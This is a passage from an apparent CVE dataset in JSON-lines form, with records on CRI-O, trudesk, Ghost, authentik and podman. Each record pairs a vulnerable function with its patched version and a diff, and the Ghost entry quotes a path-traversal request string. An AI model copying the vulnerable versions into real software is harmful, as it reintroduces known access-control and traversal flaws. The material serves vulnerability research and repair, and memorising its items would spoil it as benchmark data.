ctrMetadata.Name,\n-\t\t\tAttempt: ctrMetadata.Attempt,\n+\t\t\tName:    createConfig.Metadata.Name,\n+\t\t\tAttempt: createConfig.Metadata.Attempt,\n \t\t},\n \t\tImage: &types.ImageSpec{\n \t\t\tImage: rootFSImage,\n@@ -214,7 +174,9 @@\n \t\t\tSecurityContext: &types.LinuxContainerSecurityContext{},\n \t\t},\n \t\tAnnotations: originalAnnotations,\n-\t\tLabels:      originalLabels,\n+\t\t// The labels are nod changed or adapted. They are just taken from the CRI\n+\t\t// request without any modification (in contrast to the annotations).\n+\t\tLabels: createLabels,\n \t}\n \n \tif createConfig.Linux != nil {\n@@ -251,6 +213,13 @@\n \t\t\"/run/.containerenv\": true,\n \t}\n \n+\t// It is necessary to ensure that all bind mounts in the checkpoint archive are defined\n+\t// in the create container requested coming in via the CRI. If this check would not\n+\t// be here it would be possible to create a checkpoint archive that mounts some random\n+\t// file/directory on the host with the user knowing as it will happen without specifying\n+\t// it in the container definition.\n+\tmissingMount := []string{}\n+\n \tfor _, m := range dumpSpec.Mounts {\n \t\t// Following mounts are ignored as they might point to the\n \t\t// wrong location and if ignored the mounts will correctly\n@@ -260,40 +229,38 @@\n \t\t}\n \t\tmount := &types.Mount{\n \t\t\tContainerPath: m.Destination,\n-\t\t\tHostPath:      m.Source,\n-\t\t}\n-\n+\t\t}\n+\n+\t\tbindMountFound := false\n \t\tfor _, createMount := range createMounts {\n \t\t\tif createMount.ContainerPath == m.Destination {\n \t\t\t\tmount.HostPath = createMount.HostPath\n-\t\t\t}\n-\t\t}\n-\n-\t\tfor _, opt := range m.Options {\n-\t\t\tswitch opt {\n-\t\t\tcase \"ro\":\n-\t\t\t\tmount.Readonly = true\n-\t\t\tcase \"rro\":\n-\t\t\t\tmount.RecursiveReadOnly = true\n-\t\t\tcase \"rprivate\":\n-\t\t\t\tmount.Propagation = types.MountPropagation_PROPAGATION_PRIVATE\n-\t\t\tcase \"rshared\":\n-\t\t\t\tmount.Propagation = types.MountPropagation_PROPAGATION_BIDIRECTIONAL\n-\t\t\tcase \"rslaved\":\n-\t\t\t\tmount.Propagation = types.MountPropagation_PROPAGATION_HOST_TO_CONTAINER\n-\t\t\t}\n-\t\t}\n-\n-\t\t// Recursive Read-only (RRO) support requires the mount to be\n-\t\t// read-only and the mount propagation set to private.\n-\t\tif mount.RecursiveReadOnly {\n-\t\t\tmount.Readonly = true\n-\t\t\tmount.Propagation = types.MountPropagation_PROPAGATION_PRIVATE\n+\t\t\t\tmount.Readonly = createMount.Readonly\n+\t\t\t\tmount.RecursiveReadOnly = createMount.RecursiveReadOnly\n+\t\t\t\tmount.Propagation = createMount.Propagation\n+\t\t\t\tmount.RecursiveReadOnly = createMount.RecursiveReadOnly\n+\t\t\t\tbindMountFound = true\n+\t\t\t}\n+\t\t}\n+\t\tif !bindMountFound {\n+\t\t\tmissingMount = append(missingMount, m.Destination)\n+\t\t\t// If one mount is missing we can skip over any further code as we have\n+\t\t\t// to abort the restore process anyway. Not using break to get all missing\n+\t\t\t// mountpoints in one error message.\n+\t\t\tcontinue\n \t\t}\n \n \t\tlog.Debugf(ctx, \"Adding mounts %#v\", mount)\n \t\tcontainerConfig.Mounts = append(containerConfig.Mounts, mount)\n \t}\n+\tif len(missingMount) > 0 {\n+\t\treturn \"\", fmt.Errorf(\n+\t\t\t\"restoring %q expects following bind mounts defined (%s)\",\n+\t\t\tinputImage,\n+\t\t\tstrings.Join(missingMount, \",\"),\n+\t\t)\n+\t}\n+\n \tsandboxConfig := &types.PodSandboxConfig{\n \t\tMetadata: &types.PodSandboxMetadata{\n \t\t\tName:      sb.Metadata().Name,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-1770", "cve_description": "Improper Privilege Management in GitHub repository polonel/trudesk prior to 1.2.2.", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/polonel/trudesk", "patch_url": ["https://github.com/polonel/trudesk/commit/889876f66c9a5b28f019258e329310c31d72cbd2"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_183_1", "commit": "c78ae09", "file_path": "src/controllers/api/v2/routes.js", "start_line": 15, "end_line": 74, "snippet": "module.exports = function (middleware, router, controllers) {\n  // Shorten Vars\n  const apiv2Auth = middleware.apiv2\n  const apiv2 = controllers.api.v2\n  const isAdmin = middleware.isAdmin\n  const isAgent = middleware.isAgent\n  const isAgentOrAdmin = middleware.isAgentOrAdmin\n  const canUser = middleware.canUser\n\n  // Common\n  router.post('/api/v2/login', controllers.api.v2.common.login)\n  router.post('/api/v2/token', controllers.api.v2.common.token)\n\n  // Accounts\n  router.get('/api/v2/accounts', apiv2Auth, apiv2.accounts.get)\n  router.post('/api/v2/accounts', apiv2Auth, apiv2.accounts.create)\n  router.put('/api/v2/accounts/:username', apiv2Auth, apiv2.accounts.update)\n\n  // Tickets\n  router.get('/api/v2/tickets', apiv2Auth, apiv2.tickets.get)\n  router.post('/api/v2/tickets', apiv2Auth, apiv2.tickets.create)\n  router.post('/api/v2/tickets/transfer/:uid', apiv2Auth, isAdmin, apiv2.tickets.transferToThirdParty)\n  router.get('/api/v2/tickets/:uid', apiv2Auth, apiv2.tickets.single)\n  router.put('/api/v2/tickets/batch', apiv2Auth, apiv2.tickets.batchUpdate)\n  router.put('/api/v2/tickets/:uid', apiv2Auth, apiv2.tickets.update)\n  router.delete('/api/v2/tickets/:uid', apiv2Auth, apiv2.tickets.delete)\n  router.delete('/api/v2/tickets/deleted/:id', apiv2Auth, isAdmin, apiv2.tickets.permDelete)\n\n  // Groups\n  router.get('/api/v2/groups', apiv2Auth, apiv2.groups.get)\n  router.post('/api/v2/groups', apiv2Auth, apiv2.groups.create)\n  router.put('/api/v2/groups/:id', apiv2Auth, apiv2.groups.update)\n  router.delete('/api/v2/groups/:id', apiv2Auth, apiv2.groups.delete)\n\n  // Teams\n  router.get('/api/v2/teams', apiv2Auth, apiv2.teams.get)\n  router.post('/api/v2/teams', apiv2Auth, apiv2.teams.create)\n  router.put('/api/v2/teams/:id', apiv2Auth, apiv2.teams.update)\n  router.delete('/api/v2/teams/:id', apiv2Auth, apiv2.teams.delete)\n\n  // Departments\n  router.get('/api/v2/departments', apiv2Auth, apiv2.departments.get)\n  router.post('/api/v2/departments', apiv2Auth, apiv2.departments.create)\n  router.put('/api/v2/departments/:id', apiv2Auth, apiv2.departments.update)\n  router.delete('/api/v2/departments/:id', apiv2Auth, apiv2.departments.delete)\n\n  // Notices\n  router.get('/api/v2/notices', apiv2Auth, apiv2.notices.get)\n  router.put('/api/v2/notices/:id', apiv2Auth, canUser('notices:update'), apiv2.notices.update)\n  router.put('/api/v2/notices/:id/activate', apiv2Auth, canUser('notices:activate'), apiv2.notices.activate)\n  router.get('/api/v2/notices/clear', apiv2Auth, canUser('notices:deactivate'), apiv2.notices.clear)\n  router.delete('/api/v2/notices/:id', apiv2Auth, canUser('notices:delete'), apiv2.notices.delete)\n\n  // ElasticSearch\n  router.get('/api/v2/es/search', middleware.api, apiv2.elasticsearch.search)\n  router.get('/api/v2/es/rebuild', apiv2Auth, isAdmin, apiv2.elasticsearch.rebuild)\n  router.get('/api/v2/es/status', apiv2Auth, isAdmin, apiv2.elasticsearch.status)\n\n  router.get('/api/v2/mailer/check', apiv2Auth, isAdmin, apiv2.mailer.check)\n}"}], "fix_func": [{"id": "fix_js_183_1", "commit": "889876f", "file_path": "src/controllers/api/v2/routes.js", "start_line": 15, "end_line": 74, "snippet": "module.exports = function (middleware, router, controllers) {\n  // Shorten Vars\n  const apiv2Auth = middleware.apiv2\n  const apiv2 = controllers.api.v2\n  const isAdmin = middleware.isAdmin\n  const isAgent = middleware.isAgent\n  const isAgentOrAdmin = middleware.isAgentOrAdmin\n  const canUser = middleware.canUser\n\n  // Common\n  router.post('/api/v2/login', controllers.api.v2.common.login)\n  router.post('/api/v2/token', controllers.api.v2.common.token)\n\n  // Accounts\n  router.get('/api/v2/accounts', apiv2Auth, canUser('accounts:view'), apiv2.accounts.get)\n  router.post('/api/v2/accounts', apiv2Auth, canUser('accounts:create'), apiv2.accounts.create)\n  router.put('/api/v2/accounts/:username', canUser('accounts:update'), apiv2Auth, apiv2.accounts.update)\n\n  // Tickets\n  router.get('/api/v2/tickets', apiv2Auth, canUser('tickets:view'), apiv2.tickets.get)\n  router.post('/api/v2/tickets', apiv2Auth, canUser('tickets:create'), apiv2.tickets.create)\n  router.post('/api/v2/tickets/transfer/:uid', apiv2Auth, isAdmin, apiv2.tickets.transferToThirdParty)\n  router.get('/api/v2/tickets/:uid', apiv2Auth, canUser('tickets:view'), apiv2.tickets.single)\n  router.put('/api/v2/tickets/batch', apiv2Auth, canUser('tickets:update'), apiv2.tickets.batchUpdate)\n  router.put('/api/v2/tickets/:uid', apiv2Auth, canUser('tickets:update'), apiv2.tickets.update)\n  router.delete('/api/v2/tickets/:uid', apiv2Auth, canUser('tickets:delete'), apiv2.tickets.delete)\n  router.delete('/api/v2/tickets/deleted/:id', apiv2Auth, isAdmin, apiv2.tickets.permDelete)\n\n  // Groups\n  router.get('/api/v2/groups', apiv2Auth, apiv2.groups.get)\n  router.post('/api/v2/groups', apiv2Auth, canUser('groups:create'), apiv2.groups.create)\n  router.put('/api/v2/groups/:id', apiv2Auth, canUser('groups:update'), apiv2.groups.update)\n  router.delete('/api/v2/groups/:id', apiv2Auth, canUser('groups:delete'), apiv2.groups.delete)\n\n  // Teams\n  router.get('/api/v2/teams', apiv2Auth, canUser('teams:view'), apiv2.teams.get)\n  router.post('/api/v2/teams', apiv2Auth, canUser('teams:create'), apiv2.teams.create)\n  router.put('/api/v2/teams/:id', apiv2Auth, canUser('teams:update'), apiv2.teams.update)\n  router.delete('/api/v2/teams/:id', apiv2Auth, canUser('teams:delete'), apiv2.teams.delete)\n\n  // Departments\n  router.get('/api/v2/departments', apiv2Auth, canUser('departments:view'), apiv2.departments.get)\n  router.post('/api/v2/departments', apiv2Auth, canUser('departments:create'), apiv2.departments.create)\n  router.put('/api/v2/departments/:id', apiv2Auth, canUser('departments:update'), apiv2.departments.update)\n  router.delete('/api/v2/departments/:id', apiv2Auth, canUser('departments:delete'), apiv2.departments.delete)\n\n  // Notices\n  router.get('/api/v2/notices', apiv2Auth, apiv2.notices.get)\n  router.put('/api/v2/notices/:id', apiv2Auth, canUser('notices:update'), apiv2.notices.update)\n  router.put('/api/v2/notices/:id/activate', apiv2Auth, canUser('notices:activate'), apiv2.notices.activate)\n  router.get('/api/v2/notices/clear', apiv2Auth, canUser('notices:deactivate'), apiv2.notices.clear)\n  router.delete('/api/v2/notices/:id', apiv2Auth, canUser('notices:delete'), apiv2.notices.delete)\n\n  // ElasticSearch\n  router.get('/api/v2/es/search', middleware.api, apiv2.elasticsearch.search)\n  router.get('/api/v2/es/rebuild', apiv2Auth, isAdmin, apiv2.elasticsearch.rebuild)\n  router.get('/api/v2/es/status', apiv2Auth, isAdmin, apiv2.elasticsearch.status)\n\n  router.get('/api/v2/mailer/check', apiv2Auth, isAdmin, apiv2.mailer.check)\n}"}], "vul_patch": "--- a/src/controllers/api/v2/routes.js\n+++ b/src/controllers/api/v2/routes.js\n@@ -12,37 +12,37 @@\n   router.post('/api/v2/token', controllers.api.v2.common.token)\n \n   // Accounts\n-  router.get('/api/v2/accounts', apiv2Auth, apiv2.accounts.get)\n-  router.post('/api/v2/accounts', apiv2Auth, apiv2.accounts.create)\n-  router.put('/api/v2/accounts/:username', apiv2Auth, apiv2.accounts.update)\n+  router.get('/api/v2/accounts', apiv2Auth, canUser('accounts:view'), apiv2.accounts.get)\n+  router.post('/api/v2/accounts', apiv2Auth, canUser('accounts:create'), apiv2.accounts.create)\n+  router.put('/api/v2/accounts/:username', canUser('accounts:update'), apiv2Auth, apiv2.accounts.update)\n \n   // Tickets\n-  router.get('/api/v2/tickets', apiv2Auth, apiv2.tickets.get)\n-  router.post('/api/v2/tickets', apiv2Auth, apiv2.tickets.create)\n+  router.get('/api/v2/tickets', apiv2Auth, canUser('tickets:view'), apiv2.tickets.get)\n+  router.post('/api/v2/tickets', apiv2Auth, canUser('tickets:create'), apiv2.tickets.create)\n   router.post('/api/v2/tickets/transfer/:uid', apiv2Auth, isAdmin, apiv2.tickets.transferToThirdParty)\n-  router.get('/api/v2/tickets/:uid', apiv2Auth, apiv2.tickets.single)\n-  router.put('/api/v2/tickets/batch', apiv2Auth, apiv2.tickets.batchUpdate)\n-  router.put('/api/v2/tickets/:uid', apiv2Auth, apiv2.tickets.update)\n-  router.delete('/api/v2/tickets/:uid', apiv2Auth, apiv2.tickets.delete)\n+  router.get('/api/v2/tickets/:uid', apiv2Auth, canUser('tickets:view'), apiv2.tickets.single)\n+  router.put('/api/v2/tickets/batch', apiv2Auth, canUser('tickets:update'), apiv2.tickets.batchUpdate)\n+  router.put('/api/v2/tickets/:uid', apiv2Auth, canUser('tickets:update'), apiv2.tickets.update)\n+  router.delete('/api/v2/tickets/:uid', apiv2Auth, canUser('tickets:delete'), apiv2.tickets.delete)\n   router.delete('/api/v2/tickets/deleted/:id', apiv2Auth, isAdmin, apiv2.tickets.permDelete)\n \n   // Groups\n   router.get('/api/v2/groups', apiv2Auth, apiv2.groups.get)\n-  router.post('/api/v2/groups', apiv2Auth, apiv2.groups.create)\n-  router.put('/api/v2/groups/:id', apiv2Auth, apiv2.groups.update)\n-  router.delete('/api/v2/groups/:id', apiv2Auth, apiv2.groups.delete)\n+  router.post('/api/v2/groups', apiv2Auth, canUser('groups:create'), apiv2.groups.create)\n+  router.put('/api/v2/groups/:id', apiv2Auth, canUser('groups:update'), apiv2.groups.update)\n+  router.delete('/api/v2/groups/:id', apiv2Auth, canUser('groups:delete'), apiv2.groups.delete)\n \n   // Teams\n-  router.get('/api/v2/teams', apiv2Auth, apiv2.teams.get)\n-  router.post('/api/v2/teams', apiv2Auth, apiv2.teams.create)\n-  router.put('/api/v2/teams/:id', apiv2Auth, apiv2.teams.update)\n-  router.delete('/api/v2/teams/:id', apiv2Auth, apiv2.teams.delete)\n+  router.get('/api/v2/teams', apiv2Auth, canUser('teams:view'), apiv2.teams.get)\n+  router.post('/api/v2/teams', apiv2Auth, canUser('teams:create'), apiv2.teams.create)\n+  router.put('/api/v2/teams/:id', apiv2Auth, canUser('teams:update'), apiv2.teams.update)\n+  router.delete('/api/v2/teams/:id', apiv2Auth, canUser('teams:delete'), apiv2.teams.delete)\n \n   // Departments\n-  router.get('/api/v2/departments', apiv2Auth, apiv2.departments.get)\n-  router.post('/api/v2/departments', apiv2Auth, apiv2.departments.create)\n-  router.put('/api/v2/departments/:id', apiv2Auth, apiv2.departments.update)\n-  router.delete('/api/v2/departments/:id', apiv2Auth, apiv2.departments.delete)\n+  router.get('/api/v2/departments', apiv2Auth, canUser('departments:view'), apiv2.departments.get)\n+  router.post('/api/v2/departments', apiv2Auth, canUser('departments:create'), apiv2.departments.create)\n+  router.put('/api/v2/departments/:id', apiv2Auth, canUser('departments:update'), apiv2.departments.update)\n+  router.delete('/api/v2/departments/:id', apiv2Auth, canUser('departments:delete'), apiv2.departments.delete)\n \n   // Notices\n   router.get('/api/v2/notices', apiv2Auth, apiv2.notices.get)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-32235", "cve_description": "Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built%2F..%2F..%2F/ directory traversal. This occurs in frontend/web/middleware/static-theme.js.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/TryGhost/Ghost", "patch_url": ["https://github.com/TryGhost/Ghost/commit/378dd913aa8d0fd0da29b0ffced8884579598b0f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_290_1", "commit": "c99016fd2fca58eaacbebb9dca6c974aabaa67f6", "file_path": "ghost/core/core/frontend/web/middleware/static-theme.js", "start_line": 17, "end_line": 26, "snippet": "function isAllowedFile(file) {\n    const allowedFiles = ['manifest.json'];\n    const allowedPath = '/assets/';\n    const alwaysDeny = ['.hbs'];\n\n    const ext = path.extname(file);\n    const base = path.basename(file);\n\n    return allowedFiles.includes(base) || (file.startsWith(allowedPath) && !alwaysDeny.includes(ext));\n}"}], "fix_func": [{"id": "fix_js_290_1", "commit": "378dd913aa8d0fd0da29b0ffced8884579598b0f", "file_path": "ghost/core/core/frontend/web/middleware/static-theme.js", "start_line": 40, "end_line": 56, "snippet": "function isAllowedFile(file) {\n    const decodedFilePath = decode(file);\n    if (decodedFilePath === -1) {\n        return false;\n    }\n\n    const normalizedFilePath = path.normalize(decodedFilePath);\n\n    const allowedFiles = ['manifest.json'];\n    const allowedPath = '/assets/';\n    const alwaysDeny = ['.hbs'];\n\n    const ext = path.extname(normalizedFilePath);\n    const base = path.basename(normalizedFilePath);\n\n    return allowedFiles.includes(base) || (normalizedFilePath.startsWith(allowedPath) && !alwaysDeny.includes(ext));\n}"}], "vul_patch": "--- a/ghost/core/core/frontend/web/middleware/static-theme.js\n+++ b/ghost/core/core/frontend/web/middleware/static-theme.js\n@@ -1,10 +1,17 @@\n function isAllowedFile(file) {\n+    const decodedFilePath = decode(file);\n+    if (decodedFilePath === -1) {\n+        return false;\n+    }\n+\n+    const normalizedFilePath = path.normalize(decodedFilePath);\n+\n     const allowedFiles = ['manifest.json'];\n     const allowedPath = '/assets/';\n     const alwaysDeny = ['.hbs'];\n \n-    const ext = path.extname(file);\n-    const base = path.basename(file);\n+    const ext = path.extname(normalizedFilePath);\n+    const base = path.basename(normalizedFilePath);\n \n-    return allowedFiles.includes(base) || (file.startsWith(allowedPath) && !alwaysDeny.includes(ext));\n+    return allowedFiles.includes(base) || (normalizedFilePath.startsWith(allowedPath) && !alwaysDeny.includes(ext));\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-23647", "cve_description": "Authentik is an open-source Identity Provider. There is a bug in our implementation of PKCE that allows an attacker to circumvent the protection that PKCE offers. PKCE adds the code_challenge parameter to the authorization request and adds the code_verifier parameter to the token request. Prior to 2023.8.7 and 2023.10.7, a downgrade scenario is possible: if the attacker removes the code_challenge parameter from the authorization request, authentik will not do the PKCE check. Because of this bug, an attacker can circumvent the protection PKCE offers, such as CSRF attacks and code injection attacks.  Versions 2023.8.7 and 2023.10.7 fix the issue.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/goauthentik/authentik", "patch_url": ["https://github.com/goauthentik/authentik/commit/38e04ae12720e5d81b4f7ac77997eb8d1275d31a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_289_1", "commit": "dca8c83", "file_path": "authentik/providers/oauth2/views/token.py", "start_line": 173, "end_line": 247, "snippet": "    def __post_init_code(self, raw_code: str, request: HttpRequest):\n        if not raw_code:\n            LOGGER.warning(\"Missing authorization code\")\n            raise TokenError(\"invalid_grant\")\n\n        allowed_redirect_urls = self.provider.redirect_uris.split()\n        # At this point, no provider should have a blank redirect_uri, in case they do\n        # this will check an empty array and raise an error\n        try:\n            if not any(fullmatch(x, self.redirect_uri) for x in allowed_redirect_urls):\n                LOGGER.warning(\n                    \"Invalid redirect uri (regex comparison)\",\n                    redirect_uri=self.redirect_uri,\n                    expected=allowed_redirect_urls,\n                )\n                Event.new(\n                    EventAction.CONFIGURATION_ERROR,\n                    message=\"Invalid redirect URI used by provider\",\n                    provider=self.provider,\n                    redirect_uri=self.redirect_uri,\n                    expected=allowed_redirect_urls,\n                ).from_http(request)\n                raise TokenError(\"invalid_client\")\n        except RegexError as exc:\n            LOGGER.info(\"Failed to parse regular expression, checking directly\", exc=exc)\n            if not any(x == self.redirect_uri for x in allowed_redirect_urls):\n                LOGGER.warning(\n                    \"Invalid redirect uri (strict comparison)\",\n                    redirect_uri=self.redirect_uri,\n                    expected=allowed_redirect_urls,\n                )\n                Event.new(\n                    EventAction.CONFIGURATION_ERROR,\n                    message=\"Invalid redirect_uri configured\",\n                    provider=self.provider,\n                ).from_http(request)\n                raise TokenError(\"invalid_client\")\n\n        # Check against forbidden schemes\n        if urlparse(self.redirect_uri).scheme in FORBIDDEN_URI_SCHEMES:\n            raise TokenError(\"invalid_request\")\n\n        self.authorization_code = AuthorizationCode.objects.filter(code=raw_code).first()\n        if not self.authorization_code:\n            LOGGER.warning(\"Code does not exist\", code=raw_code)\n            raise TokenError(\"invalid_grant\")\n\n        if self.authorization_code.is_expired:\n            LOGGER.warning(\n                \"Code is expired\",\n                token=raw_code,\n            )\n            raise TokenError(\"invalid_grant\")\n\n        if self.authorization_code.provider != self.provider or self.authorization_code.is_expired:\n            LOGGER.warning(\"Invalid code: invalid client or code has expired\")\n            raise TokenError(\"invalid_grant\")\n\n        # Validate PKCE parameters.\n        if self.authorization_code.code_challenge:\n            # Authorization code had PKCE but we didn't get one\n            if not self.code_verifier:\n                raise TokenError(\"invalid_request\")\n            if self.authorization_code.code_challenge_method == PKCE_METHOD_S256:\n                new_code_challenge = (\n                    urlsafe_b64encode(sha256(self.code_verifier.encode(\"ascii\")).digest())\n                    .decode(\"utf-8\")\n                    .replace(\"=\", \"\")\n                )\n            else:\n                new_code_challenge = self.code_verifier\n\n            if new_code_challenge != self.authorization_code.code_challenge:\n                LOGGER.warning(\"Code challenge not matching\")\n                raise TokenError(\"invalid_grant\")"}], "fix_func": [{"id": "fix_py_289_1", "commit": "38e04ae12720e5d81b4f7ac77997eb8d1275d31a", "file_path": "authentik/providers/oauth2/views/token.py", "start_line": 173, "end_line": 251, "snippet": "    def __post_init_code(self, raw_code: str, request: HttpRequest):\n        if not raw_code:\n            LOGGER.warning(\"Missing authorization code\")\n            raise TokenError(\"invalid_grant\")\n\n        allowed_redirect_urls = self.provider.redirect_uris.split()\n        # At this point, no provider should have a blank redirect_uri, in case they do\n        # this will check an empty array and raise an error\n        try:\n            if not any(fullmatch(x, self.redirect_uri) for x in allowed_redirect_urls):\n                LOGGER.warning(\n                    \"Invalid redirect uri (regex comparison)\",\n                    redirect_uri=self.redirect_uri,\n                    expected=allowed_redirect_urls,\n                )\n                Event.new(\n                    EventAction.CONFIGURATION_ERROR,\n                    message=\"Invalid redirect URI used by provider\",\n                    provider=self.provider,\n                    redirect_uri=self.redirect_uri,\n                    expected=allowed_redirect_urls,\n                ).from_http(request)\n                raise TokenError(\"invalid_client\")\n        except RegexError as exc:\n            LOGGER.info(\"Failed to parse regular expression, checking directly\", exc=exc)\n            if not any(x == self.redirect_uri for x in allowed_redirect_urls):\n                LOGGER.warning(\n                    \"Invalid redirect uri (strict comparison)\",\n                    redirect_uri=self.redirect_uri,\n                    expected=allowed_redirect_urls,\n                )\n                Event.new(\n                    EventAction.CONFIGURATION_ERROR,\n                    message=\"Invalid redirect_uri configured\",\n                    provider=self.provider,\n                ).from_http(request)\n                raise TokenError(\"invalid_client\")\n\n        # Check against forbidden schemes\n        if urlparse(self.redirect_uri).scheme in FORBIDDEN_URI_SCHEMES:\n            raise TokenError(\"invalid_request\")\n\n        self.authorization_code = AuthorizationCode.objects.filter(code=raw_code).first()\n        if not self.authorization_code:\n            LOGGER.warning(\"Code does not exist\", code=raw_code)\n            raise TokenError(\"invalid_grant\")\n\n        if self.authorization_code.is_expired:\n            LOGGER.warning(\n                \"Code is expired\",\n                token=raw_code,\n            )\n            raise TokenError(\"invalid_grant\")\n\n        if self.authorization_code.provider != self.provider or self.authorization_code.is_expired:\n            LOGGER.warning(\"Invalid code: invalid client or code has expired\")\n            raise TokenError(\"invalid_grant\")\n\n        # Validate PKCE parameters.\n        if self.authorization_code.code_challenge:\n            # Authorization code had PKCE but we didn't get one\n            if not self.code_verifier:\n                raise TokenError(\"invalid_grant\")\n            if self.authorization_code.code_challenge_method == PKCE_METHOD_S256:\n                new_code_challenge = (\n                    urlsafe_b64encode(sha256(self.code_verifier.encode(\"ascii\")).digest())\n                    .decode(\"utf-8\")\n                    .replace(\"=\", \"\")\n                )\n            else:\n                new_code_challenge = self.code_verifier\n\n            if new_code_challenge != self.authorization_code.code_challenge:\n                LOGGER.warning(\"Code challenge not matching\")\n                raise TokenError(\"invalid_grant\")\n        # Token request had a code_verifier but code did not have a code challenge\n        # Prevent downgrade\n        if not self.authorization_code.code_challenge and self.code_verifier:\n            raise TokenError(\"invalid_grant\")"}], "vul_patch": "--- a/authentik/providers/oauth2/views/token.py\n+++ b/authentik/providers/oauth2/views/token.py\n@@ -60,7 +60,7 @@\n         if self.authorization_code.code_challenge:\n             # Authorization code had PKCE but we didn't get one\n             if not self.code_verifier:\n-                raise TokenError(\"invalid_request\")\n+                raise TokenError(\"invalid_grant\")\n             if self.authorization_code.code_challenge_method == PKCE_METHOD_S256:\n                 new_code_challenge = (\n                     urlsafe_b64encode(sha256(self.code_verifier.encode(\"ascii\")).digest())\n@@ -73,3 +73,7 @@\n             if new_code_challenge != self.authorization_code.code_challenge:\n                 LOGGER.warning(\"Code challenge not matching\")\n                 raise TokenError(\"invalid_grant\")\n+        # Token request had a code_verifier but code did not have a code challenge\n+        # Prevent downgrade\n+        if not self.authorization_code.code_challenge and self.code_verifier:\n+            raise TokenError(\"invalid_grant\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10152", "cve_description": "A path traversal vulnerability has been discovered in podman before version 1.4.0 in the way it handles symlinks inside containers. An attacker who has compromised an existing container can cause arbitrary files on the host filesystem to be read/written when an administrator tries to copy a file from/to the container.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/containers/libpod", "patch_url": ["https://github.com/containers/libpod/commit/2dcfd3df0b58463b050385c0ccd7929c540bce21"], "programing_language": "Go", "vul_func": [{"id": "vul_go_139_1", "commit": "7358a4c", "file_path": "cmd/podman/cliconfig/create.go", "start_line": 24, "end_line": 27, "snippet": "type CpValues struct {\n\tPodmanCommand\n\tExtract bool\n}"}, {"id": "vul_go_139_2", "commit": "7358a4c", "file_path": "cmd/podman/cp.go", "start_line": 48, "end_line": 55, "snippet": "func init() {\n\tcpCommand.Command = _cpCommand\n\tflags := cpCommand.Flags()\n\tflags.BoolVar(&cpCommand.Extract, \"extract\", false, \"Extract the tar file into the destination directory.\")\n\tcpCommand.SetHelpTemplate(HelpTemplate())\n\tcpCommand.SetUsageTemplate(UsageTemplate())\n\trootCmd.AddCommand(cpCommand.Command)\n}"}, {"id": "vul_go_139_3", "commit": "7358a4c", "file_path": "cmd/podman/cp.go", "start_line": 57, "end_line": 71, "snippet": "func cpCmd(c *cliconfig.CpValues) error {\n\targs := c.InputArgs\n\tif len(args) != 2 {\n\t\treturn errors.Errorf(\"you must provide a source path and a destination path\")\n\t}\n\n\truntime, err := libpodruntime.GetRuntime(getContext(), &c.PodmanCommand)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"could not get runtime\")\n\t}\n\tdefer runtime.Shutdown(false)\n\n\textract := c.Flag(\"extract\").Changed\n\treturn copyBetweenHostAndContainer(runtime, args[0], args[1], extract)\n}"}, {"id": "vul_go_139_4", "commit": "7358a4c", "file_path": "cmd/podman/cp.go", "start_line": 73, "end_line": 158, "snippet": "func copyBetweenHostAndContainer(runtime *libpod.Runtime, src string, dest string, extract bool) error {\n\n\tsrcCtr, srcPath := parsePath(runtime, src)\n\tdestCtr, destPath := parsePath(runtime, dest)\n\n\tif (srcCtr == nil && destCtr == nil) || (srcCtr != nil && destCtr != nil) {\n\t\treturn errors.Errorf(\"invalid arguments %s, %s you must use just one container\", src, dest)\n\t}\n\n\tif len(srcPath) == 0 || len(destPath) == 0 {\n\t\treturn errors.Errorf(\"invalid arguments %s, %s you must specify paths\", src, dest)\n\t}\n\tctr := srcCtr\n\tisFromHostToCtr := (ctr == nil)\n\tif isFromHostToCtr {\n\t\tctr = destCtr\n\t}\n\n\tmountPoint, err := ctr.Mount()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer ctr.Unmount(false)\n\tuser, err := getUser(mountPoint, ctr.User())\n\tif err != nil {\n\t\treturn err\n\t}\n\tidMappingOpts, err := ctr.IDMappings()\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"error getting IDMappingOptions\")\n\t}\n\tcontainerOwner := idtools.IDPair{UID: int(user.UID), GID: int(user.GID)}\n\thostUID, hostGID, err := util.GetHostIDs(convertIDMap(idMappingOpts.UIDMap), convertIDMap(idMappingOpts.GIDMap), user.UID, user.GID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thostOwner := idtools.IDPair{UID: int(hostUID), GID: int(hostGID)}\n\n\tvar glob []string\n\tif isFromHostToCtr {\n\t\tif filepath.IsAbs(destPath) {\n\t\t\tdestPath = filepath.Join(mountPoint, destPath)\n\n\t\t} else {\n\t\t\tif err = idtools.MkdirAllAndChownNew(filepath.Join(mountPoint, ctr.WorkingDir()), 0755, hostOwner); err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"error creating directory %q\", destPath)\n\t\t\t}\n\t\t\tdestPath = filepath.Join(mountPoint, ctr.WorkingDir(), destPath)\n\t\t}\n\t} else {\n\t\tif 